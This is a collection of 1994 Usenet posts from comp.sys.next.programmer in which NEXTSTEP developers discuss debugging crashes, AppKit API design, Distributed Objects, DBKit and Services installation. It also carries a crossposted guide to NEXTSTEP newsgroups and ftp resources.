From: ivo@hasc.ca Newsgroups: comp.sys.next.programmer Subject: rld_unload / gdb bug? Date: 9 Jun 1994 16:52:38 GMT Organization: Hutchison Avenue Software Message-ID: <2t7hcm$a14@giuliani.gun.com> Disclaimer: I wasn't even there. Has anyone had problems either with rld_unload crashing or gdb crashing after an app has been terminated? I have a large app (12 Meg executable + 10 loaded bundles) and when I run it in gdb it runs fine but when I quit, sometimes I get the following: Program exited normally. Segmentation fault When I run gdb in gdb and then run my program, I get the following: Program exited normally. Program generated(1): Memory access exception on address 0x218a608 (invalid address). 0x5027c17 in remove_objects () (gdb) where #0 0x5027c17 in remove_objects () #1 0x503ed8a in internal_rld_unload () #2 0x502a30e in rld_unload () #3 0x3fe49 in ?? () #4 0x3fe84 in ?? () #5 0x6d4a in ?? () #6 0x13e95 in ?? () #7 0x13d49 in ?? () #8 0x1bca8 in ?? () #9 0x1c584 in ?? () #10 0x11fd5 in ?? () #11 0x164d3 in ?? () #12 0x16621 in ?? () #13 0x16348 in ?? () #14 0x32bf in ?? () (gdb) Does anyone have any comments? -ivo
From: ivo@hasc.ca Newsgroups: comp.sys.next.programmer Subject: rld_unload / gdb bug? Date: 9 Jun 1994 16:52:53 GMT Organization: Hutchison Avenue Software Message-ID: <2t7hd5$a15@giuliani.gun.com> Disclaimer: I wasn't even there. Has anyone had problems either with rld_unload crashing or gdb crashing after an app has been terminated? I have a large app (12 Meg executable + 10 loaded bundles) and when I run it in gdb it runs fine but when I quit, sometimes I get the following: Program exited normally. Segmentation fault When I run gdb in gdb and then run my program, I get the following: Program exited normally. Program generated(1): Memory access exception on address 0x218a608 (invalid address). 0x5027c17 in remove_objects () (gdb) where #0 0x5027c17 in remove_objects () #1 0x503ed8a in internal_rld_unload () #2 0x502a30e in rld_unload () #3 0x3fe49 in ?? () #4 0x3fe84 in ?? () #5 0x6d4a in ?? () #6 0x13e95 in ?? () #7 0x13d49 in ?? () #8 0x1bca8 in ?? () #9 0x1c584 in ?? () #10 0x11fd5 in ?? () #11 0x164d3 in ?? () #12 0x16621 in ?? () #13 0x16348 in ?? () #14 0x32bf in ?? () (gdb) Does anyone have any comments? -ivo
From: alvin@cse.ucsc.edu (Alvin Jee) Newsgroups: comp.sys.next.programmer Subject: NXImage max size? Date: 10 Jun 1994 08:25:57 GMT Organization: University of California, Santa Cruz Message-ID: <2t982l$ie9@darkstar.UCSC.EDU> Hello all! I seem to be having problems with _large_ TIFF images being loaded into a NXImage object. My TIFF is a 16 x 15360 pixel picture. For some reason, the NXImage can't composite or initFromImage:rect: a bitmap that big. If I reduce the size down to 16 x 10000, it seems to work fine. 16 x 10001 won't work. I really need to have the full 16 x 15360 image and it may be quite difficult to chop it up into smaller pieces. Anybody know what's going on here? Is there some reason why 10,000 is the maximum height of a NXImage? How can this be fixed? Help help! -- Alvin Jee e-mail: alvin@cse.ucsc.edu NeXTMail gleefully accepted!
From: Ali_Ozer@NeXT.com (Ali Ozer) Newsgroups: comp.sys.next.programmer Subject: Re: returning void instead of self Date: 9 Jun 1994 20:56:37 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2t7vm5$a87@rosie.next.com> References: <2t7mgp$e0l@nntp2.Stanford.EDU> In article <2t7mgp$e0l@nntp2.Stanford.EDU> Christopher_Lane@Med.Stanford.EDU writes: > There are a small, but what seems to be growing, number of NeXT application > kit methods that return 'void' instead of 'self' for no apparent reason. > ... Anyone know the reason for this new trend? In addition to the many methods that always return self, there are a few methods that really return an object. Sometimes this latter category tends to get lost in the noise. You get bugs where important return value of some method is ignored, or worse, because it's "self" under most circumstances, being mistakenly nested. Clarifying the API by marking methods without a significant return value as returning void helps reduce this noise. However, currently things aren't consistent, so you can certainly claim there's more confusion! Hopefully things will be cleared up in the future. BTW, another reason for this new trend is DO --- Do you really want DO to transport all those useless return values back to the caller? Ali, Ali_Ozer@NeXT.com
Newsgroups: comp.sys.next.programmer From: drew@fnbc.com (Drew Davidson) Subject: Re: PB frill Message-ID: <1994Jun9.214346.19378@fnbc.com> Sender: news@fnbc.com Organization: First National Bank Of Chicago, Chicago IL, USA References: <1994Jun6.144820.1688@afs.com> Date: Thu, 9 Jun 94 21:43:46 GMT In article <1994Jun6.144820.1688@afs.com> Michael_Pizolato@afs.com (Michael Pizolato) writes: > Certain tools that run during a PB build obviously communicate with > PB so that the messages in the Build view (e.g. which file is > currently compiling) get updated. Anybody know how to send such a > message to PB? I have certain extensive makefile additions and > modifications, and I'd like to send some of my own messages to PB. > > Thanx, > Michael I have no clue how to use these protocols, but one must assume that you could get the NXPort for the PB process and send messages. BuildServer is started with: /usr/ucb/rsh <remote hostname> -n /usr/lib/BuildServer <hostname> <PB PID> However, it may be that the connection is made from local host -> remote host after the rsh is done (PB tries to connect to the BuildServer via DO). I don't know if any communication can be initiated by the BuildServer without prompting from PB. From class-dump by Eric P. Scott: From ProjectBuilder: /* * Generated by class-dump. * * class-dump is Copyright 1992 by Eric P. Scott. All rights reserved. * Freely redistributable; noncommercial usage permitted. * * No part of this software may be incorporated into any product * sold for profit without the express permission of the copyright * holder. */ @protocol BuildClient - (oneway void)buildGotData:fp16; - (oneway void)buildIsDone:(int)fp16; @end From /usr/lib/BuildServer: /* * Generated by class-dump. * * class-dump is Copyright 1992 by Eric P. Scott. All rights reserved. * Freely redistributable; noncommercial usage permitted. * * No part of this software may be incorporated into any product * sold for profit without the express permission of the copyright * holder. */ @interface Builder:Object { } - connection:fp16 didConnect:fp20; - senderIsInvalid:fp16; - (void)build:(unsigned int)fp16 isDone:(int)fp20; - (void)gotData:(unsigned int)fp16; - build:(STR)fp16 forClient:fp20; @end @protocol BuildServer - build:(const STR)fp16 forClient:fp20; @end @protocol BuilderInternal - (void)gotData:(unsigned int)fp16; - (void)build:(unsigned int)fp16 isDone:(int)fp20; @end @protocol NXSenderIsInvalid - senderIsInvalid:fp16; @end @interface Build:Object { id client; int child; struct cthread *waitThread; int inputDescriptor; id data; } - (void)setClient:fp16; - (void)stopBuild; - (int)build:(STR)fp16; @end @protocol Build - (void)stopBuild; - (oneway void)setClient:fp16; - (int)build:(const STR)fp16; @end > -- > Michael_Pizolato@afs.com "Can I get a root beer?" > Chief Technical Officer - Wakko Warner > Anderson Financial Systems Inc. > NeXTMail accepted -- +--------------------------------+---------------------------------------+ | Drew Davidson - Software Guy | "Computers are useless. They can | | First National Bank of Chicago | only give you answers." | | drew@fnbc.com (NeXTmail) | - Pablo Picasso | +--------< All opinions expressed here are mine and mine alone >---------+
Newsgroups: comp.sys.next.programmer From: brad@instep.wimsey.bc.ca Subject: Re: returning void instead of self Message-ID: <1994Jun9.212545.8685@instep.wimsey.bc.ca> Sender: usenet@instep.wimsey.bc.ca Organization: InStep Mobile Communications Inc. References: <2t7mgp$e0l@nntp2.Stanford.EDU> Date: Thu, 9 Jun 1994 21:25:45 GMT In article <2t7mgp$e0l@nntp2.Stanford.EDU> Christopher_Lane@Med.Stanford.EDU writes: >There are a small, but what seems to be growing, number of NeXT application >kit methods that return 'void' instead of 'self' for no apparent reason. I believe the reason has to do with the (relatively) new Distributed Object facility. Returning self can vend the object called back to the caller. This may not be appropriate under certain DO protocols. The void returned prevents the vending. That's my guess. --brad.
Newsgroups: comp.sys.next.programmer From: jfr@trwlasd.com Subject: Re: returning void instead of self Message-ID: <Cr693I.Cv0@trwlasd.com> Sender: jfr@trwlasd.com (Jon Rosen) Organization: TRW References: <2t7vm5$a87@rosie.next.com> Date: Fri, 10 Jun 1994 08:04:29 GMT Ali Ozer writes > Christopher_Lane@Med.Stanford.EDU writes: > > There are a small, but what seems to be growing, number of NeXT > > application kit methods that return 'void' instead of 'self' for > > no apparent reason. Anyone know the reason for this new trend? > > [munch] > > BTW, another reason for this new trend is DO --- Do you really want > DO to transport all those useless return values back to the caller? Ali, you needed a smilie on the end there :-) The following paragraph is a direct quote from the NEXTSTEP reference manual (Sec. 6 page 9): The example above demonstrates that it is very easy to have proxies created. This is an important feature of the Distributed Objects system, but it has performance ramifications that must be considered. Consider the common case where a method in the server returns self. The system assumes that you actually intend to return a usable object to the client, so it will return a proxy for the server to the client. If the client's connection doesn't already have a proxy to the server, one will be created. This may or may not be what you intend. It makes most sense to return some non-object type (like int) from methods that will be called remotely, unless the object is really intended to be used. (Returning objects isn't horribly expensive, however, and an object is represented by only one proxy on a given connection, even if it is returned many times.) Using DO as an excuse for changing the "self" return interface (in general) is not very acceptable, IMHO. "Self" is such a beneficial return value, that I would always return it from any method unless I had a very clear rationale as to why it would be a bad idea in a particular situation. Jon Rosen
Newsgroups: comp.sys.next.programmer From: jimbo@oingo.umn.edu Subject: Re: New to NeXT Message-ID: <Cr3ywy.LG7@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota, Twin Cities References: <2sv2nh$97a@sulu.cldc.howard.edu> Date: Thu, 9 Jun 1994 02:27:49 GMT In article <2sv2nh$97a@sulu.cldc.howard.edu> clj@kirk (Claude LeRoyal Johnson) writes: > I've done C development on Ultrix and other Unix platforms but I > just got into NeXT and I need to know how to use the Interface > Builder to add a UI to my applications. How do you do it? > > Also, how to you link the C code (ANSI C) to the UI that you > create? > > Peace! > This is a pretty BIG question. Check out one of the programming NeXTstep books. They take you through it step by step. ::To Order Garfinkel and Mahoney directly from the publisher: ::Call 1-800-SPRINGER (1-800-777-4643) ::Mail purchase orders to: Springer-Verlag New York, 44 Hartz Way, Secaucus, ::NJ 07096. ::Fax purchase orders to: 1-201-348-4505 ::Note, the price is now $44.95.
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quickguide to NEXTSTEP Information available on the Internet Date: 9 Jun 1994 01:07:57 -0400 Organization: Next Announcements Message-ID: <2t683d$2h4@digifix.digifix.com> Topics include: Stepwise NEXTSTEP/OpenStep Information Server online comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers New Information --------------- Stepwise NEXTSTEP/OpenStep Information Server online A product directory built around the World Wide Web system, this will allow full multimedia announcements by NEXTSTEP developers, as well as the ability to browse the available products for NEXTSTEP. This service is online now, and can be reached at http://www.stepwise.com/ or (if you nameserver is out of date) http://digifix.digifix.com/ it can be reached using OmniWeb (available from ftp.omnigroup.com) or Mosaic. The entries are coming in quite quickly, and currently consist of - NeXT Press Releases - OpenStep WhitePapers - Third Party Products Directory - NEXTSTEP Developer Directory - NEXTSTEP Community WhitePages - NEXTSTEP User Group Directory - comp.sys.next.announce archives (searchable) - searchable contents of Third Party compilation CDs Additionally the NEXTSTEP Product Information Mail Server will be stocked full file files in the next week... you can get information on using the mail server at ns-products@digifix.com Suggestions or comments can be directed to me at sanguish@digifix.com comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a forum for advanced technical material. The NEXTSTEP programmer FAQs are posted here. Generic UNIX questions belong elsewhere (comp.unix.questions), although specific questions about NeXT's implementation or porting issues are appropriate here. Note that there are several other more "horizontal" newsgroups (comp.lang.objective-c, comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip, etc.) that may also be of interest. Comp.Sys.Next.Software This is a place to talk about [third party] software products that run on NEXTSTEP systems. Comp.Sys.Next.Sysadmin Stuff relating to NeXT system administration issues; in rare cases this will spill over into .programmer or .software. related Newsgroups ------------------ Comp.Soft-Sys.Nextstep Like comp.sys.next.software and comp.sys.next.misc combined. Exists because NeXT is a software-only company now, and comp.soft-sys is for discussion of software systems with scope similar to NEXTSTEP. Comp.Lang.Objective-C Technical talk about the Objective-C language. Implemetations discussed include NeXT, Gnu, Stepstone, etc. Comp.Object Technical talk about OOP in general. Lots of C++ discussion, but NeXT and Objective-C get quite a bit of attention. At times gets almost philosophical about objects, but then again OOP allows one to be a programmer/philosopher. (The original Comp.Sys.Next no longer exists--do not attempt to post to it.) Exception to the crossposting restrictions: announcements of usenet RFDs or CFVs, when made by the news.announce.newgroups moderator, may be simultaneously crossposted to all c.s.n.* newsgroups. Getting the Newsgroups without getting News ------------------------------------------- Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are now available as a mailing list digest as well. next-nextstep-d next-advocacy-d next-announce-d next-bugs-d next-hardware-d next-marketplace-d next-misc-d next-programmer-d next-software-d next-sysadmin-d (For a full description, send mail saying LISTS to <digestif@antigone.com>). The subscription syntax is essentially the same as LISTSERV's. To subscribe, send a message to <digestif@antigone.com> saying: SUB Listname YourName Example: SUB next-hardware-d John Doe The ftp sites ------------- cs.orst.edu: The main site for North American submissions nova.cc.purdue.edu: Lots of older stuff, but very short on disk space ftp.informatik.uni-muenchen.de: In Germany. terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group) ftp.next.com: See the below ftp.next.com and NextAnswers@next.com ------------------------------------- From the document 1000_Help from ftp.next.com Welcome to the NeXTanswers information retrieval system! This system allows you to request online technical documents, drivers, and other software, which are then sent to you automatically. You can request documents by fax or Internet electronic mail, or you can transfer them by anonymous ftp. NeXTanswers is an automated retrieval system. Requests sent to it are answered electronically, and are not read or handled by a human being. NeXTanswers does not answer your questions or forward your requests. USING NEXTANSWERS BY E-MAIL To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com. Files are sent as NeXTmail attachments by default; you can request they be sent as ASCII text files instead. To request a file, include that file's ID number in the Subject line or the body of the message. You can request several files in a single message. You can also include commands in the Subject line or the body of the message. These commands affect the way that files you request are sent: ASCII causes the requested files to be sent as ASCII text SPLIT splits large files into 95KB chunks, using the MIME Message/Partial specification These commands return information about the NeXTanswers system: HELP returns this help file INDEX returns the list of all available files INDEX BY DATE returns the list of files, sorted newest to oldest SEARCH keywords lists all files that contain all the keywords you list (ignoring capitalization) For example, a message with the following Subject line requests three files: Subject: 2101 2234 1109 A message with this body requests the same three files be sent as ASCII text files: 2101 2234 1109 ascii This message requests two lists of files, one for each search: Subject: SEARCH Dell SCSI SEARCH NetInfo domain NeXTanswers will reply to the address in your From: line. To use a different address either set your Reply-To: line, or use the NeXTanswers command REPLY-TO <your-address> If you have any problem with the system or suggestions for improvement, please send mail to NeXTanswers-request@NeXT.com. USING NEXTANSWERS BY FAX To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and follow the instructions. You'll be asked for your fax number, a number to identify your fax (like your phone extension or office number), and the ID numbers of the files you want. You can also request a list of available files. When you finish entering the file numbers, end the call and the files will be faxed to you. If you have problems using this fax system, please call Technical Support at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada. USING NEXTANSWERS BY ANONYMOUS FTP To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM and read the help file pub/NeXTanswers/README. If you have problems using this, please send mail to NeXTanswers-request@NeXT.com. Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
Newsgroups: comp.sys.next.programmer From: mike@lorax.com (Mike Ferris) Subject: Re: cellList returns a List object or the id of the list? Message-ID: <Cr32uq.xz@lorax.com> Sender: mike@lorax.com (Mike Ferris) Organization: Stultus Enterprises References: <2sv8r2$mvo@News1.mcs.com> Date: Wed, 8 Jun 1994 14:56:49 GMT In article <2sv8r2$mvo@News1.mcs.com> starksm@genesis.mcs.com (Scott M. Stark) writes: >In article <2su7or$c9v@news.iastate.edu> chris@iastate.edu (Chris Wong) >writes: >> >> I'm a little bit confused when I read the documentation of Matrix class. >> >> What exactly will the instance method cellList of the Matrix class >return? A >> List object or the id of the List object? >> >> If it returns a List object, would that List object be freed >automatically >> when it goes out of scope? >> >> e.g, >> - foo:sender >> { >> id fooList; >> >> fooList = [fooMatrix cellList]; >> >> bla bla bla; >> >> return self; >> } >> >> >> Thanks for any clarification. > >Chris, > >ObjectiveC only deals with heap based objects (pointers to objects >such as List *, or its anonymous equivalent id). You can't declare >a List object like in C++: > List myListOnTheStack; >rather you must say: > List *myHeapList; > id anyHeapObject; > myHeapList = [[List alloc] initCount: 0]; > anyHeapObject = [[List alloc] initCount: 0]; > >The id type in Objective C simply indicates that a variable is a >pointer to some type of object. In your example, cellList returns a >List object which means it returns a pointer to an List object or >perhaps to a subclass of List. > And of course it should be mentioned that the List returned by -[Matrix cellList] belongs to the Matrix. You should not free it or mess with it too much because it is the actual List which contains all the Matrix's actual cells. Messing with it too much directly can mess up the Matrix's internal picture of itself. ____________________________________________________________ Mike Ferris A rose by any other name... mike@lorax.com Would never ever smell the same. (510) 652-2039 And it's a clever nose that knows An onion that's been called a rose.
From: cosc19vo@bart.cc.uh.edu (Naveen Puttagunta) Newsgroups: comp.sys.next.programmer Subject: Problem - changing menu cell titles. Date: 9 Jun 1994 06:52:04 GMT Organization: University of Houston Message-ID: <2t6e6k$6nq@masala.cc.uh.edu> Hello everyone, I am having a problem using a pull-down menu of the Interface Builder. (Using release 3.0). Each item on the menu is a property which can be turned On/Off. I want to change the titles of the menu items according to user's selection. e.g. If the menu has "Mesh Off" as one of the items and if the user selects that item, the name of the item should be changed to "Mesh On". I tried it the following way : (get the title of the cell, scan it and set a new title for the cell). // This message is sent to the target by the matrix of the pull-down menu //when the user selects an item. - changeOptions:sender { .......... char name[20], * pos ; id cell = [sender selectedCell] ; int tag = [cell tag] ; strcpy ( name, [cell title] ) ; if ( (pos = strstr(name, "On")) ) // If title has "<xyz> On" strcpy ( pos, "Off" ) ; // change to "<xyz> Off" else if ( (pos = strstr(name, "Off")) ) // If title has "<xyz> Off" strcpy ( pos, "On" ) ; // change to "<xyz> On" [cell setTitle:name] ; // change cell's title. //......... other processing. } The problem is, according to the debugger the title is being changed and [cell title] return the correct string, but the new title does not appear in the menu on screen. The items in the menu are not changing their titles. Am I missing something here ? Is there any other easy way (setting on/off states for each button and providing alternate titles ?? - I tried that using the methods of ButtonCell - Didnt work. ) Thankyou in advance. -- Naveen ------------------------------------------ Naveen Puttagunta naveen@cs.uh.edu cosc19vo@simpsons.cc.uh.edu (NeXT Mail) ------------------------------------------
From: misha@trotsky.seanet.com (Misha M. Melikov) Newsgroups: comp.sys.next.programmer Subject: DO question Date: 9 Jun 1994 07:27:08 GMT Organization: Seanet Online Services, Seattle WA Message-ID: <2t6g8c$1hb@kesha.seanet.com> I have compiled whatever was in /NextDeveloper/Examples/DistributedObjects/MultipleThreads it works fine on 4 of ou r machines (they are all within one netinfo domain). There is also a standalone nextstation which is our gateway to the world :-) So if I run the DO server on this station, I could not connect to this server from any of the other machines. I cannot connect from this station to other machines either. Our networking seems to be fine, so what could be the problem. Am i doing something wrong or is it just not supposed to work this way. It is hard for me to believe that NetInfo has anything to deal with DO's. Any insights? Misha M. Melikov _________________________________________________________________ Object Software Development Ltd. Columbia Seafirst Center 701 Fifth Ave., Suite 6801 Seattle, WA 98104
Newsgroups: comp.sys.next.programmer From: vrotney@netcom.com (William Paul Vrotney) Subject: Does NS have a trace? Message-ID: <vrotneyCr4DpI.8BA@netcom.com> Organization: NETCOM On-line Communication Services (408 261-4700 guest) Date: Thu, 9 Jun 1994 07:48:53 GMT On a Sun there is a command "trace" for tracing the execution of progam system calls. Is there a similar command for NEXTSTEP? -- Bill Vrotney - vrotney@netcom.com
From: cfleming@alleg.edu (Chuck Fleming) Newsgroups: comp.sys.next.programmer Subject: posting events from the kernel Date: 9 Jun 1994 13:42:04 GMT Organization: Allegheny College Distribution: world Message-ID: <2t767c$gb8@mustang.alleg.edu> Keywords: event, kernel, server Greetings, Is it possible to post events from within a loadable kernel server? Thanks, Chuck -- ########################################### Chuck Fleming (cfleming@alleg.edu) Educational Computing Services Allegheny College NeXTMail welcome ###########################################
From: msm@safesurfer.pencom.com (Mark S Mertel) Newsgroups: comp.sys.next.programmer Subject: Re: Problem using Sybase triggers and DBKit Date: 9 Jun 1994 14:48:28 GMT Organization: Pencom Sofware Message-ID: <2t7a3s$niu@digdug.pencom.com> References: <1994Jun8.165033.11899@il.us.swissbank.com> In article <1994Jun8.165033.11899@il.us.swissbank.com> ericb@il.us.swissbank.com (Eric_Brown) writes: > Mark S Mertel writes > > In article <1994Jun7.180206.418@il.us.swissbank.com> > > ericb@il.us.swissbank.com (Eric_Brown) writes: [ stuff deleted ] > > > The problem is that even with the raiserror and rollback, my > > DBFetchGroup > > > (within a DBModule) still thinks the -saveChanges succeeded. The > > > -fetchGroup:willFailForReason: delegate method is never called and the > > return > > > value from [module saveChanges:self] is non-nil. > > > > > -- > > Are you sure you are using raiserror within the trigger ? This should not be possible [ more stuff deleted ] my apologies, you can indeed use raiserror from within a trigger. i don't know what i was thinking...oh ya.. you can't have a return value from a trigger. > > Yes, I am using raiserror within a trigger and it works fine. The information > from the raiserror does get to the -db:notificationFrom:message:code:, but the > problem is that for user defined error messages, DBKit does not recognize that > an error occurred > -- i wonder if eof will suffer from the same limitations. until then you could convert to VNP's AccessKit and solve this situation in code. -- Mark Mertel Email: msm@pencom.com Pencom Software Phone: (512) 343-6666 9050 Capital of Texas Hwy. N. FAX: (512) 343-9650 Austin, TX 78759
From: msm@safesurfer.pencom.com (Mark S Mertel) Newsgroups: comp.sys.next.programmer Subject: Re: Problem using Sybase triggers and DBKit Date: 9 Jun 1994 14:48:47 GMT Organization: Pencom Sofware Message-ID: <2t7a4f$nju@digdug.pencom.com> References: <1994Jun8.165033.11899@il.us.swissbank.com> In article <1994Jun8.165033.11899@il.us.swissbank.com> ericb@il.us.swissbank.com (Eric_Brown) writes: > Mark S Mertel writes > > In article <1994Jun7.180206.418@il.us.swissbank.com> > > ericb@il.us.swissbank.com (Eric_Brown) writes: [ stuff deleted ] > > > The problem is that even with the raiserror and rollback, my > > DBFetchGroup > > > (within a DBModule) still thinks the -saveChanges succeeded. The > > > -fetchGroup:willFailForReason: delegate method is never called and the > > return > > > value from [module saveChanges:self] is non-nil. > > > > > -- > > Are you sure you are using raiserror within the trigger ? This should not be possible [ more stuff deleted ] my apologies, you can indeed use raiserror from within a trigger. i don't know what i was thinking...oh ya.. you can't have a return value from a trigger. > > Yes, I am using raiserror within a trigger and it works fine. The information > from the raiserror does get to the -db:notificationFrom:message:code:, but the > problem is that for user defined error messages, DBKit does not recognize that > an error occurred > -- i wonder if eof will suffer from the same limitations. until then you could convert to VNP's AccessKit and solve this situation in code. -- Mark Mertel Email: msm@pencom.com Pencom Software Phone: (512) 343-6666 9050 Capital of Texas Hwy. N. FAX: (512) 343-9650 Austin, TX 78759
Newsgroups: comp.sys.next.programmer From: iok@theseas.ntua.gr (Ioannis Koutselas) Subject: help on ioctls. may yield back a fax driver Message-ID: <Cr4z0C.7o9@theseas.ntua.gr> Keywords: fax,ioctl,hard flow Organization: National Technical University of Athens, Greece Date: Thu, 9 Jun 1994 15:28:59 GMT Hello everyone. I have this question. Once one defines that input/output(ie read,write) are done on cufb is hardware flow control automatic. Ie is the os making sure that nothing leaves to a modem unless the modem wants to read and nothing comes to the computer unless we have time to read it ? If things are not that automatic what do you do to 1) capture the RTS?CTS line signals ? and 2) what do you do with it ? I think that one waits waits for another signal. If so what is it called and which ioctl does the work ? I am trying to make a small fax driver and i am pretty positive that the hard flow control is buggy in the way i have it. . i am not sure if the zyxel modem wants to have xon/xoff despite the &H3 command it has taken. anyway, i appreciate your time in reading this and thank you in advance. ioannis p.s of course the source will be free to evryone if it ever works.
From: sam_s@NeXT.com (Sam Streeper) Newsgroups: comp.sys.next.programmer Subject: Re: DO question Date: 9 Jun 1994 16:53:43 GMT Organization: NeXT, Inc. Message-ID: <2t7hen$9vi@rosie.next.com> References: <2t6g8c$1hb@kesha.seanet.com> misha@trotsky.seanet.com (Misha M. Melikov) writes: > There is also a standalone nextstation which is our gateway > to the world :-) So if I run the DO server on this station, I could not > connect to this server from any of the other machines. I cannot connect > from this station to other machines either. Our networking seems to be > fine, so what could be the problem. If you are not explicit about the host (connectToName:onHost:"*") it only queries the machines on your subnet. If you know what server you expect to reach and specify the host explicity, you can connect outside your subnet. Hope this helps. -sam -- Opinions expressed herein are not those of my employer. They're not even mine. They're probably wrong besides. How did they get in here, anyway?
Newsgroups: comp.sys.next.programmer From: mdw@sitar.jazz.att.com (Mark Wuest) Subject: Re: Kill the inferior process (y or n)? In-Reply-To: Greg_Anderson@afs.com's message of Fri, 10 Jun 1994 20:03:27 GMT Message-ID: <MDW.94Jun13084004@laura.jazz.att.com> Sender: news@nntpa.cb.att.com (Netnews Administration) Organization: AT&T Bell Labs, Red Hill References: <1994Jun10.200327.6547@afs.com> Date: Mon, 13 Jun 1994 12:40:04 GMT In article <1994Jun10.200327.6547@afs.com> Greg_Anderson@afs.com (Gregory H. Anderson) writes: >Maybe I've just been working too hard lately--and therefore even more >irritable than usual--but every time I kill my app in gdb and get the >message in the subject line, I get the urge to send hate mail to RMS. >I'll be the judge of what's inferior, you snotty little debugger! Play >off my insecurities, will you? I looked and looked for the smileys, but, alas, I couldn't find them! I guess the proper MultiTaskingEse would have been "child", but that might insult someone as well... Almost every program I write for AT&T ends up running as a daemon process. Now, personally, I find it insulting to imply some sort of nether-world possesion of my software. I tried to get the Pope (or at least Judge Green) to send someone to Exorcise them. Besides, MY programs act more like Angels, IMHO. Mark -- Mark Wuest | Just a .sig. No advertisements for AT&T mdw@sitar.jazz.att.com | or anyone else for that matter.
From: M.Crawford@dcs.shef.ac.uk (mmalcolm Crawford) Newsgroups: comp.sys.next.programmer Subject: Categories: add class method? Date: 13 Jun 1994 08:39:45 -0500 Organization: UTexas Mail-to-News Gateway Sender: nobody@cs.utexas.edu Message-ID: <940613143340.1901AACUE.malc@jeeves> Is it possible to add class methods using Categories? Empirical evidence suggests not: Jun 13 14:31:08 jeeves Tester[2009]: objc: MyClass: does not recognize selector +myClassMethod: but I may be missing something...? Have fun, mmalcolm.
From: borzilda@NeXTwork.Rose-Hulman.Edu (David A Borzillo) Newsgroups: comp.sys.next.programmer Subject: Is NeXTWORLD magazine still around? Date: 13 Jun 1994 14:07:59 GMT Organization: Rose-Hulman Institute of Technology Message-ID: <2thp7v$3qd@master.cs.rose-hulman.edu> I've been looking for a copy of NeXTWORLD magazine at several bookstores. Is it still around? -- David A. Borzillo (borzilda@nextwork.rose-hulman.edu) Fluid Science Learning Center Software Developer (rehired for fall!) Mechanical Engineering Senior, Rose-Hulman Inst of Tech Terre Haure,IN +======================================================================+ Disclaimer: Any views and opinions expressed in this message are my own and not of Rose-Hulman or the FSLC Project.
From: dcl@panix.com (David Lambert) Newsgroups: comp.sys.next.programmer Subject: RE:Fiend.app correspondence Date: 14 Jun 1994 10:10:35 -0400 Organization: PANIX Public Access Internet and Unix, NYC Message-ID: <2tkdor$a38@panix.com> Hi. I understand that people have had trouble getting through to me via "dcl@homer.uu.panix.com". This is because panix.com's UUCP relay is screwed up. It should be fixed within a day or so, but in the meantime, I can be reached at: dcl@panix.com (ascii) dlambert@aigtc.com (smallish [ie, <= 500K] NeXTMail) David Lambert dcl@homer.uu.panix.com
Newsgroups: comp.sys.next.programmer From: js@euler.hnv.icem.de(Juergen Sell) Subject: Re: how to install Services Message-ID: <CrCwv7.vJ@euler.hnv.icem.de> Sender: js@euler.hnv.icem.de (Juergen Sell) Organization: Ink Unknown References: <mgs460.25.771507026@ku-eichstaett.de> Date: Mon, 13 Jun 1994 22:23:30 GMT In article <mgs460.25.771507026@ku-eichstaett.de> mgs460@ku-eichstaett.de (GERALD GRASSMANN) writes: > > How do I INSTALL a service (e.g. webster) to my service menu. > Copying the .app file in the local ~/Apps directory doesn't work. > > Are there any changes in the NS 3.2 version made for installing services? I am not sure to understand what yo intend to do. If you have an app running which has the menu cell saying 'services', you should be able to find the 'define in webster' there if the app has at least one interface object capable of supplying data of the apprpriate type. On the other hand if you have a (new) app in your ~/Apps folder which provides services, to make these services known to other apps you have to make the system recognize them as an internal table is built on login (?). Run make_services in a shell, or also move the app into dock, or select the app in FileViewer and 'Update Viewer' (not sure about this one). Hope this helps, viel Glueck. Juergen --- Fon ++49-511-440688 NeXTMail welcome Fax ++49-511-440617 == What time do we live in when all the word 'revolution' makes you think of == is a new version of soap powder, == when spontaneity and freedom gets associated with instant coffee?
